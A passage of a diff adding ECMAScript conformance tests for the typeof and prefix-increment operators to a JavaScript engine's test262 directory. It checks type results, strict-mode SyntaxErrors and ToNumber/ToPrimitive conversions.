+ $ERROR('#1: typeof true === "boolean". Actual: ' + (typeof true));
+}
+
+//CHECK#2
+if (typeof false !== "boolean") {
+ $ERROR('#2: typeof false === "boolean". Actual: ' + (typeof false));
+}
+
+//CHECK#3
+if (typeof !-1 !== "boolean") {
+ $ERROR('#3: typeof !-1 === "boolean". Actual: ' + (typeof !-1));
+}
+
diff --git a/js/src/tests/test262/ch11/11.4/11.4.3/S11.4.3_A3.4.js b/js/src/tests/test262/ch11/11.4/11.4.3/S11.4.3_A3.4.js
new file mode 100644
index 000000000..e1444e9f5
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.3/S11.4.3_A3.4.js
@@ -0,0 +1,35 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Result of appying "typeof" operator to number is "number"
+ *
+ * @path ch11/11.4/11.4.3/S11.4.3_A3.4.js
+ * @description typeof (number value) === "number"
+ */
+
+//CHECK#1
+if (typeof 1 !== "number") {
+ $ERROR('#1: typeof 1 === "number". Actual: ' + (typeof 1));
+}
+
+//CHECK#2
+if (typeof Number.NaN !== "number") {
+ $ERROR('#2: typeof NaN === "number". Actual: ' + (typeof NaN));
+}
+
+//CHECK#3
+if (typeof Number.POSITIVE_INFINITY !== "number") {
+ $ERROR('#3: typeof Infinity === "number". Actual: ' + (typeof Infinity));
+}
+
+//CHECK#4
+if (typeof Number.NEGATIVE_INFINITY !== "number") {
+ $ERROR('#4: typeof -Infinity === "number". Actual: ' + (typeof -Infinity));
+}
+
+//CHECK#5
+if (typeof Math.PI !== "number") {
+ $ERROR('#5: typeof Math.PI === "number". Actual: ' + (typeof Math.PI));
+}
+
diff --git a/js/src/tests/test262/ch11/11.4/11.4.3/S11.4.3_A3.5.js b/js/src/tests/test262/ch11/11.4/11.4.3/S11.4.3_A3.5.js
new file mode 100644
index 000000000..f1c07acd1
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.3/S11.4.3_A3.5.js
@@ -0,0 +1,40 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Result of appying "typeof" operator to string is "string"
+ *
+ * @path ch11/11.4/11.4.3/S11.4.3_A3.5.js
+ * @description typeof (string value) === "string"
+ */
+
+//CHECK#1
+if (typeof "1" !== "string") {
+ $ERROR('#1: typeof "1" === "string". Actual: ' + (typeof "1"));
+}
+
+//CHECK#2
+if (typeof "NaN" !== "string") {
+ $ERROR('#2: typeof "NaN" === "string". Actual: ' + (typeof "NaN"));
+}
+
+//CHECK#3
+if (typeof "Infinity" !== "string") {
+ $ERROR('#3: typeof "Infinity" === "string". Actual: ' + (typeof "Infinity"));
+}
+
+//CHECK#4
+if (typeof "" !== "string") {
+ $ERROR('#4: typeof "" === "string". Actual: ' + (typeof ""));
+}
+
+//CHECK#5
+if (typeof "true" !== "string") {
+ $ERROR('#5: typeof "true" === "string". Actual: ' + (typeof "true"));
+}
+
+//CHECK#6
+if (typeof Date() !== "string") {
+ $ERROR('#6: typeof Date() === "string". Actual: ' + (typeof Date()));
+}
+
diff --git a/js/src/tests/test262/ch11/11.4/11.4.3/S11.4.3_A3.6.js b/js/src/tests/test262/ch11/11.4/11.4.3/S11.4.3_A3.6.js
new file mode 100644
index 000000000..feab82ac6
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.3/S11.4.3_A3.6.js
@@ -0,0 +1,73 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Result of applying "typeof" operator to the object that is native and doesn't implement [[Call]] is "object"
+ *
+ * @path ch11/11.4/11.4.3/S11.4.3_A3.6.js
+ * @description typeof (object without [[Call]]) === "object"
+ */
+
+//CHECK#1
+if (typeof this !== "object") {
+ $ERROR('#1: typeof this === "object". Actual: ' + (typeof this));
+}
+
+//CHECK#2
+if (typeof new Object() !== "object") {
+ $ERROR('#2: typeof new Object() === "object". Actual: ' + (typeof new Object()));
+}
+
+//CHECK#3
+if (typeof new Array(1,2,3) !== "object") {
+ $ERROR('#3: typeof new Array(1,2,3) === "object". Actual: ' + (typeof new Array(1,2,3)));
+}
+
+//CHECK#4
+if (typeof Array(1,2,3) !== "object") {
+ $ERROR('#4: typeof Array(1,2,3) === "object". Actual: ' + (typeof Array(1,2,3)));
+}
+
+//CHECK#5
+if (typeof new String("x") !== "object") {
+ $ERROR('#5: typeof new String("x") === "object". Actual: ' + (typeof new String("x")));
+}
+
+//CHECK#6
+if (typeof new Boolean(true) !== "object") {
+ $ERROR('#6: typeof new Boolean(true) === "object". Actual: ' + (typeof new Boolean(true)));
+}
+
+//CHECK#7
+if (typeof new Number(1) !== "object") {
+ $ERROR('#7: typeof new Number(1) === "object". Actual: ' + (typeof new Number(1)));
+}
+
+//CHECK#8
+//The Math object does not have a [[Construct]] property;
+//it is not possible to use the Math object as a constructor with the new operator.
+//The Math object does not have a [[Call]] property; it is not possible to invoke the Math object as a object.
+if (typeof Math !== "object") {
+ $ERROR('#8: typeof Math === "object". Actual: ' + (typeof Math));
+}
+
+//CHECK#9
+if (typeof new Date() !== "object") {
+ $ERROR('#9: typeof new Date() === "object". Actual: ' + (typeof new Date()));
+}
+
+//CHECK#10
+if (typeof new Error() !== "object") {
+ $ERROR('#10: typeof new Error() === "object". Actual: ' + (typeof new Error()));
+}
+
+//CHECK#11
+if (typeof new RegExp() !== "object") {
+ $ERROR('#11: typeof new RegExp() === "object". Actual: ' + (typeof new RegExp()));
+}
+
+//CHECK#12
+if (typeof RegExp() !== "object") {
+ $ERROR('#12: typeof RegExp() === "object". Actual: ' + (typeof RegExp()));
+}
+
diff --git a/js/src/tests/test262/ch11/11.4/11.4.3/S11.4.3_A3.7.js b/js/src/tests/test262/ch11/11.4/11.4.3/S11.4.3_A3.7.js
new file mode 100644
index 000000000..66282799a
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.3/S11.4.3_A3.7.js
@@ -0,0 +1,55 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Result of applying "typeof" operator to the object that is native and implements [[Call]] is "function"
+ *
+ * @path ch11/11.4/11.4.3/S11.4.3_A3.7.js
+ * @description typeof (object with [[Call]]) === "function"
+ */
+
+//CHECK#1
+if (typeof new Function() !== "function") {
+ $ERROR('#1: typeof new Function() === "function". Actual: ' + (typeof new Function()));
+}
+
+//CHECK#2
+if (typeof Function() !== "function") {
+ $ERROR('#2: typeof Function() === "function". Actual: ' + (typeof Function()));
+}
+
+//CHECK#3
+if (typeof Object !== "function") {
+ $ERROR('#3: typeof Object === "function". Actual: ' + (typeof Object));
+}
+
+//CHECK#4
+if (typeof String !== "function") {
+ $ERROR('#4: typeof String === "function". Actual: ' + (typeof String));
+}
+
+//CHECK5
+if (typeof Boolean !== "function") {
+ $ERROR('#5: typeof Boolean === "function". Actual: ' + (typeof Boolean));
+}
+
+//CHECK#6
+if (typeof Number !== "function") {
+ $ERROR('#6: typeof Number === "function". Actual: ' + (typeof Number));
+}
+
+//CHECK#7
+if (typeof Date !== "function") {
+ $ERROR('#7: typeof Date === "function". Actual: ' + (typeof Date));
+}
+
+//CHECK#8
+if (typeof Error !== "function") {
+ $ERROR('#8: typeof Error === "function". Actual: ' + (typeof Error));
+}
+
+//CHECK#9
+if (typeof RegExp !== "function") {
+ $ERROR('#9: typeof RegExp === "function". Actual: ' + (typeof RegExp));
+}
+
diff --git a/js/src/tests/test262/ch11/11.4/11.4.3/browser.js b/js/src/tests/test262/ch11/11.4/11.4.3/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.3/browser.js
diff --git a/js/src/tests/test262/ch11/11.4/11.4.3/shell.js b/js/src/tests/test262/ch11/11.4/11.4.3/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.3/shell.js
diff --git a/js/src/tests/test262/ch11/11.4/11.4.4/11.4.4-2-1-s.js b/js/src/tests/test262/ch11/11.4/11.4.4/11.4.4-2-1-s.js
new file mode 100644
index 000000000..f7e9b82de
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.4/11.4.4-2-1-s.js
@@ -0,0 +1,23 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch11/11.4/11.4.4/11.4.4-2-1-s.js
+ * @description Strict Mode - SyntaxError is thrown for ++eval
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+ var blah = eval;
+ try {
+ eval("++eval;");
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError && blah === eval;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.4/11.4.4/11.4.4-2-2-s.js b/js/src/tests/test262/ch11/11.4/11.4.4/11.4.4-2-2-s.js
new file mode 100644
index 000000000..142adabef
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.4/11.4.4-2-2-s.js
@@ -0,0 +1,23 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch11/11.4/11.4.4/11.4.4-2-2-s.js
+ * @description Strict Mode - SyntaxError is thrown for ++arguments
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+ var blah = arguments;
+ try {
+ eval("++arguments;");
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError && blah === arguments;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.4/11.4.4/11.4.4-2-3-s.js b/js/src/tests/test262/ch11/11.4/11.4.4/11.4.4-2-3-s.js
new file mode 100644
index 000000000..00d6448e3
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.4/11.4.4-2-3-s.js
@@ -0,0 +1,19 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch11/11.4/11.4.4/11.4.4-2-3-s.js
+ * @description Strict Mode - SyntaxError is not thrown for ++arguments[...]
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+ arguments[1] = 7;
+ ++arguments[1];
+ return arguments[1]===8;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.4/11.4.4/S11.4.4_A1.js b/js/src/tests/test262/ch11/11.4/11.4.4/S11.4.4_A1.js
new file mode 100644
index 000000000..1a6f53940
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.4/S11.4.4_A1.js
@@ -0,0 +1,60 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * White Space and Line Terminator between "++" and UnaryExpression are allowed
+ *
+ * @path ch11/11.4/11.4.4/S11.4.4_A1.js
+ * @description Checking by using eval
+ */
+
+//CHECK#1
+if (eval("var x = 0; ++\u0009x") !== 1) {
+ $ERROR('#1: var x = 0; ++\\u0009x; x === 1. Actual: ' + (x));
+}
+
+//CHECK#2
+if (eval("var x = 0; ++\u000Bx") !== 1) {
+ $ERROR('#2: var x = 0; ++\\u000Bx; x === 1. Actual: ' + (x));
+}
+
+//CHECK#3
+if (eval("var x = 0; ++\u000Cx") !== 1) {
+ $ERROR('#3: var x = 0; ++\\u000Cx; x === 1. Actual: ' + (x));
+}
+
+//CHECK#4
+if (eval("var x = 0; ++\u0020x") !== 1) {
+ $ERROR('#4: var x = 0; ++\\u0020x; x === 1. Actual: ' + (x));
+}
+
+//CHECK#5
+if (eval("var x = 0; ++\u00A0x") !== 1) {
+ $ERROR('#5: var x = 0; ++\\u00A0x; x === 1. Actual: ' + (x));
+}
+
+//CHECK#6
+if (eval("var x = 0; ++\u000Ax") !== 1) {
+ $ERROR('#6: var x = 0; ++\\u000Ax; x === 1. Actual: ' + (x));
+}
+
+//CHECK#7
+if (eval("var x = 0; ++\u000Dx") !== 1) {
+ $ERROR('#7: var x = 0; ++\\u000Dx; x === 1. Actual: ' + (x));
+}
+
+//CHECK#8
+if (eval("var x = 0; ++\u2028x") !== 1) {
+ $ERROR('#8: var x = 0; ++\\u2028x; x === 1. Actual: ' + (x));
+}
+
+//CHECK#9
+if (eval("var x = 0; ++\u2029x") !== 1) {
+ $ERROR('#9: var x = 0; ++\\u2029x; x === 1. Actual: ' + (x));
+}
+
+//CHECK#10
+if (eval("var x = 0; ++\u0009\u000B\u000C\u0020\u00A0\u000A\u000D\u2028\u2029x") !== 1) {
+ $ERROR('#10: var x = 0; ++\\u0009\\u000B\\u000C\\u0020\\u00A0\\u000A\\u000D\\u2028\\u2029x; x === 1. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch11/11.4/11.4.4/S11.4.4_A2.1_T1.js b/js/src/tests/test262/ch11/11.4/11.4.4/S11.4.4_A2.1_T1.js
new file mode 100644
index 000000000..253e2a970
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.4/S11.4.4_A2.1_T1.js
@@ -0,0 +1,41 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator ++x uses GetValue and PutValue
+ *
+ * @path ch11/11.4/11.4.4/S11.4.4_A2.1_T1.js
+ * @description Type(x) is Reference and GetBase(x) is not null
+ */
+
+//CHECK#1
+var x = 1;
+if (++x !== 1 + 1) {
+ $ERROR('#1: var x = 1; ++x === 1 + 1. Actual: ' + (++x));
+} else {
+ if (x !== 1 + 1) {
+ $ERROR('#1: var x = 1; ++x; x === 1 + 1. Actual: ' + (x));
+ }
+}
+
+//CHECK#2
+this.x = 1;
+if (++this.x !== 1 + 1) {
+ $ERROR('#2: this.x = 1; ++this.x === 1 + 1. Actual: ' + (++this.x));
+} else {
+ if (this.x !== 1 + 1) {
+ $ERROR('#2: this.x = 1; ++this.x; this.x === 1 + 1. Actual: ' + (this.x));
+ }
+}
+
+//CHECK#3
+var object = new Object();
+object.prop = 1;
+if (++object.prop !== 1 + 1) {
+ $ERROR('#3: var object = new Object(); object.prop = 1; ++object.prop === 1 + 1. Actual: ' + (++object.prop));
+} else {
+ if (this.x !== 1 + 1) {
+ $ERROR('#3: var object = new Object(); object.prop = 1; ++object.prop; object.prop === 1 + 1. Actual: ' + (object.prop));
+ }
+}
+
diff --git a/js/src/tests/test262/ch11/11.4/11.4.4/S11.4.4_A2.1_T2.js b/js/src/tests/test262/ch11/11.4/11.4.4/S11.4.4_A2.1_T2.js
new file mode 100644
index 000000000..a67137e4b
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.4/S11.4.4_A2.1_T2.js
@@ -0,0 +1,21 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator ++x uses GetValue and PutValue
+ *
+ * @path ch11/11.4/11.4.4/S11.4.4_A2.1_T2.js
+ * @description If GetBase(x) is null, throw ReferenceError
+ */
+
+//CHECK#1
+try {
+ ++x;
+ $ERROR('#1.1: ++x throw ReferenceError. Actual: ' + (++x));
+}
+catch (e) {
+ if ((e instanceof ReferenceError) !== true) {
+ $ERROR('#1.2: ++x throw ReferenceError. Actual: ' + (e));
+ }
+}
+
diff --git a/js/src/tests/test262/ch11/11.4/11.4.4/S11.4.4_A2.1_T3.js b/js/src/tests/test262/ch11/11.4/11.4.4/S11.4.4_A2.1_T3.js
new file mode 100644
index 000000000..7faa4d81f
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.4/S11.4.4_A2.1_T3.js
@@ -0,0 +1,25 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator ++x uses GetValue and PutValue
+ *
+ * @path ch11/11.4/11.4.4/S11.4.4_A2.1_T3.js
+ * @description If Type(x) is not Reference, throw ReferenceError (or SyntaxError)
+ * @negative
+ */
+
+//CHECK#1
+try {
+ ++1;
+ $ERROR('#1.1: ++1 throw ReferenceError (or SyntaxError). Actual: ' + (++1));
+}
+catch (e) {
+ if ((e instanceof ReferenceError) !== true) {
+ $ERROR('#1.2: ++1 throw ReferenceError (or SyntaxError). Actual: ' + (e));
+ } else {
+ ++1;
+ }
+}
+
+
diff --git a/js/src/tests/test262/ch11/11.4/11.4.4/S11.4.4_A2.2_T1.js b/js/src/tests/test262/ch11/11.4/11.4.4/S11.4.4_A2.2_T1.js
new file mode 100644
index 000000000..bdc909df1
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.4/S11.4.4_A2.2_T1.js
@@ -0,0 +1,104 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator ++x uses [[Default Value]]
+ *
+ * @path ch11/11.4/11.4.4/S11.4.4_A2.2_T1.js
+ * @description If Type(value) is Object, evaluate ToPrimitive(value, Number)
+ */
+
+//CHECK#1
+var object = {valueOf: function() {return 1}};
+if (++object !== 1 + 1) {
+ $ERROR('#1: var object = {valueOf: function() {return 1}}; ++object === 1 + 1. Actual: ' + (++object));
+} else {
+ if (object !== 1 + 1) {
+ $ERROR('#1: var object = {valueOf: function() {return 1}}; ++object; object === 1 + 1. Actual: ' + (object));
+ }
+}
+
+//CHECK#2
+var object = {valueOf: function() {return 1}, toString: function() {return 0}};
+if (++object !== 1 + 1) {
+ $ERROR('#2: var object = {valueOf: function() {return 1}, toString: function() {return 0}}; ++object === 1 + 1. Actual: ' + (++object));
+} else {
+ if (object !== 1 + 1) {
+ $ERROR('#2: var object = {valueOf: function() {return 1}, toString: function() {return 0}}; ++object; object === 1 + 1. Actual: ' + (object));
+ }
+}
+
+//CHECK#3
+var object = {valueOf: function() {return 1}, toString: function() {return {}}};
+if (++object !== 1 + 1) {
+ $ERROR('#3: var object = {valueOf: function() {return 1}, toString: function() {return {}}}; ++object === 1 + 1. Actual: ' + (++object));
+} else {
+ if (object !== 1 + 1) {
+ $ERROR('#3: var object = {valueOf: function() {return 1}, toString: function() {return {}}}; ++object; object === 1 + 1. Actual: ' + (object));
+ }
+}
+
+//CHECK#4
+try {
+ var object = {valueOf: function() {return 1}, toString: function() {throw "error"}};
+ if (++object !== 1 + 1) {
+ $ERROR('#4.1: var object = {valueOf: function() {return 1}, toString: function() {throw "error"}}; ++object === 1 + 1. Actual: ' + (++object));
+ } else {
+ if (object !== 1 + 1) {
+ $ERROR('#4.1: var object = {valueOf: function() {return 1}, toString: function() {throw "error"}}; ++object; object === 1 + 1. Actual: ' + (object));
+ }
+ }
+}
+catch (e) {
+ if (e === "error") {
+ $ERROR('#4.2: var object = {valueOf: function() {return 1}, toString: function() {throw "error"}}; ++object not throw "error"');
+ } else {
+ $ERROR('#4.3: var object = {valueOf: function() {return 1}, toString: function() {throw "error"}}; ++object not throw Error. Actual: ' + (e));
+ }
+}
+
+//CHECK#5
+var object = {toString: function() {return 1}};
+if (++object !== 1 + 1) {
+ $ERROR('#5.1: var object = {toString: function() {return 1}}; ++object === 1 + 1. Actual: ' + (++object));
+} else {
+ if (object !== 1 + 1) {
+ $ERROR('#5.2: var object = {toString: function() {return 1}}; ++object; object === 1 + 1. Actual: ' + (object));
+ }
+}
+
+
+//CHECK#6
+var object = {valueOf: function() {return {}}, toString: function() {return 1}}
+if (++object !== 1 + 1) {
+ $ERROR('#6.1: var object = {valueOf: function() {return {}}, toString: function() {return 1}}; ++object === 1 + 1. Actual: ' + (++object));
+} else {
+ if (object !== 1 + 1) {
+ $ERROR('#6.2: var object = {valueOf: function() {return {}}, toString: function() {return 1}}; ++object; object === 1 + 1. Actual: ' + (object));
+ }
+}
+
+//CHECK#7
+try {
+ var object = {valueOf: function() {throw "error"}, toString: function() {return 1}};
+ ++object;
+ $ERROR('#7.1: var object = {valueOf: function() {throw "error"}, toString: function() {return 1}}; ++object throw "error". Actual: ' + (++object));
+}
+catch (e) {
+ if (e !== "error") {
+ $ERROR('#7.2: var object = {valueOf: function() {throw "error"}, toString: function() {return 1}}; ++object throw "error". Actual: ' + (e));
+ }
+}
+
+//CHECK#8
+try {
+ var object = {valueOf: function() {return {}}, toString: function() {return {}}};
+ ++object;
+ $ERROR('#8.1: var object = {valueOf: function() {return {}}, toString: function() {return {}}}; ++object throw TypeError. Actual: ' + (++object));
+}
+catch (e) {
+ if ((e instanceof TypeError) !== true) {
+ $ERROR('#8.2: var object = {valueOf: function() {return {}}, toString: function() {return {}}}; ++object throw TypeError. Actual: ' + (e));
+ }
+}
+
diff --git a/js/src/tests/test262/ch11/11.4/11.4.4/S11.4.4_A3_T1.js b/js/src/tests/test262/ch11/11.4/11.4.4/S11.4.4_A3_T1.js
new file mode 100644
index 000000000..9c41505c9
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.4/S11.4.4_A3_T1.js
@@ -0,0 +1,24 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator ++x returns x = ToNumber(x) + 1
+ *
+ * @path ch11/11.4/11.4.4/S11.4.4_A3_T1.js
+ * @description Type(x) is boolean primitive or Boolean object
+ */
+
+//CHECK#1
+var x = false;
+++x;
+if (x !== 0 + 1) {
+ $ERROR('#1: var x = false; ++x; x === 0 + 1. Actual: ' + (x));
+}
+
+//CHECK#2
+var x = new Boolean(true);
+++x;
+if (x !== 1 + 1) {
+ $ERROR('#2: var x = new Boolean(true); ++x; x === 1 + 1. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch11/11.4/11.4.4/S11.4.4_A3_T2.js b/js/src/tests/test262/ch11/11.4/11.4.4/S11.4.4_A3_T2.js
new file mode 100644
index 000000000..52296a948
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.4/S11.4.4_A3_T2.js
@@ -0,0 +1,24 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator ++x returns x = ToNumber(x) + 1
+ *
+ * @path ch11/11.4/11.4.4/S11.4.4_A3_T2.js
+ * @description Type(x) is number primitive or Number object
+ */
+
+//CHECK#1
+var x = 0.1;
+++x;
+if (x !== 0.1 + 1) {
+ $ERROR('#1: var x = 0.1; ++x; x === 0.1 + 1. Actual: ' + (x));
+}
+
+//CHECK#2
+var x = new Number(-1.1);
+++x;
+if (x !== -1.1 + 1) {
+ $ERROR('#2: var x = new Number(-1.1); ++x; x === -1.1 + 1. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch11/11.4/11.4.4/S11.4.4_A3_T3.js b/js/src/tests/test262/ch11/11.4/11.4.4/S11.4.4_A3_T3.js
new file mode 100644
index 000000000..aee3607dd
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.4/S11.4.4_A3_T3.js
@@ -0,0 +1,31 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator ++x returns x = ToNumber(x) + 1
+ *
+ * @path ch11/11.4/11.4.4/S11.4.4_A3_T3.js
+ * @description Type(x) is string primitive or String object
+ */
+
+//CHECK#1
+var x = "1";
+++x;
+if (x !== 1 + 1) {
+ $ERROR('#1: var x = "1"; ++x; x === 1 + 1. Actual: ' + (x));
+}
+
+//CHECK#2
+var x = "x";
+++x;
+if (isNaN(x) !== true) {
+ $ERROR('#2: var x = "x"; ++x; x === Not-a-Number. Actual: ' + (x));
+}
+
+//CHECK#3
+var x = new Number("-1");
+++x;
+if (x !== -1 + 1) {
+ $ERROR('#3: var x = new String("-1"); ++x; x === -1 + 1. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch11/11.4/11.4.4/S11.4.4_A3_T4.js b/js/src/tests/test262/ch11/11.4/11.4.4/S11.4.4_A3_T4.js
new file mode 100644
index 000000000..89619003e
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.4/S11.4.4_A3_T4.js
@@ -0,0 +1,24 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator ++x returns x = ToNumber(x) + 1
+ *
+ * @path ch11/11.4/11.4.4/S11.4.4_A3_T4.js
+ * @description Type(x) is undefined or null
+ */
+
+//CHECK#1
+var x;
+++x;
+if (isNaN(x) !== true) {
+ $ERROR('#1: var x; ++x; x === Not-a-Number. Actual: ' + (x));
+}
+
+//CHECK#2
+var x = null;
+++x;
+if (x !== 1) {
+ $ERROR('#2: var x = null; ++x; x === 1. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch11/11.4/11.4.4/S11.4.4_A3_T5.js b/js/src/tests/test262/ch11/11.4/11.4.4/S11.4.4_A3_T5.js
new file mode 100644
index 000000000..d08522f72
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.4/S11.4.4_A3_T5.js
@@ -0,0 +1,24 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator ++x returns x = ToNumber(x) + 1
+ *
+ * @path ch11/11.4/11.4.4/S11.4.4_A3_T5.js
+ * @description Type(x) is Object object or Function object
+ */
+
+//CHECK#1
+var x = {};
+++x;
+if (isNaN(x) !== true) {
+ $ERROR('#1: var x = {}; ++x; x === Not-a-Number. Actual: ' + (x));
+}
+
+//CHECK#2
+var x = function(){return 1};
+++x;
+if (isNaN(x) !== true) {
+ $ERROR('#2: var x = function(){return 1}; ++x; x === Not-a-Number. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch11/11.4/11.4.4/S11.4.4_A4_T1.js b/js/src/tests/test262/ch11/11.4/11.4.4/S11.4.4_A4_T1.js
new file mode 100644
index 000000000..585e75091
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.4/S11.4.4_A4_T1.js
@@ -0,0 +1,22 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator ++x returns ToNumber(x) + 1
+ *
+ * @path ch11/11.4/11.4.4/S11.4.4_A4_T1.js
+ * @description Type(x) is boolean primitive or Boolean object
+ */
+
+//CHECK#1
+var x = false;
+if (++x !== 0 + 1) {
+ $ERROR('#1: var x = false; ++x === 0 + 1. Actual: ' + (++x));
+}
+
+//CHECK#2
+var x = new Boolean(true);
+if (++x !== 1 + 1) {
+ $ERROR('#2: var x = new Boolean(true); ++x === 1 + 1. Actual: ' + (++x));
+}
+
diff --git a/js/src/tests/test262/ch11/11.4/11.4.4/S11.4.4_A4_T2.js b/js/src/tests/test262/ch11/11.4/11.4.4/S11.4.4_A4_T2.js
new file mode 100644
index 000000000..3aacac1b8
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.4/S11.4.4_A4_T2.js
@@ -0,0 +1,22 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator ++x returns ToNumber(x) + 1
+ *
+ * @path ch11/11.4/11.4.4/S11.4.4_A4_T2.js
+ * @description Type(x) is number primitive or Number object
+ */
+
+//CHECK#1
+var x = 0.1;
+if (++x !== 0.1 + 1) {
+ $ERROR('#1: var x = 0.1; ++x === 0.1 + 1. Actual: ' + (++x));
+}
+
+//CHECK#2
+var x = new Number(-1.1);
+if (++x !== -1.1 + 1) {
+ $ERROR('#2: var x = new Number(-1.1); ++x === -1.1 + 1. Actual: ' + (++x));
+}
+
diff --git a/js/src/tests/test262/ch11/11.4/11.4.4/S11.4.4_A4_T3.js b/js/src/tests/test262/ch11/11.4/11.4.4/S11.4.4_A4_T3.js
new file mode 100644
index 000000000..4e2d5f22a
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.4/S11.4.4_A4_T3.js
@@ -0,0 +1,28 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator ++x returns ToNumber(x) + 1
+ *
+ * @path ch11/11.4/11.4.4/S11.4.4_A4_T3.js
+ * @description Type(x) is string primitive or String object
+ */
+
+//CHECK#1
+var x = "1";
+if (++x !== 1 + 1) {
+ $ERROR('#1: var x = "1"; ++x === 1 + 1. Actual: ' + (++x));
+}
+
+//CHECK#2
+var x = "x";
+if (isNaN(++x) !== true) {
+ $ERROR('#2: var x = "x"; ++x === Not-a-Number. Actual: ' + (++x));
+}
+
+//CHECK#3
+var x = new String("-1");
+if (++x !== -1 + 1) {
+ $ERROR('#3: var x = new String("-1"); ++x === -1 + 1. Actual: ' + (++x));
+}
+
diff --git a/js/src/tests/test262/ch11/11.4/11.4.4/S11.4.4_A4_T4.js b/js/src/tests/test262/ch11/11.4/11.4.4/S11.4.4_A4_T4.js
new file mode 100644
index 000000000..f0edb536e
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.4/S11.4.4_A4_T4.js
@@ -0,0 +1,22 @@
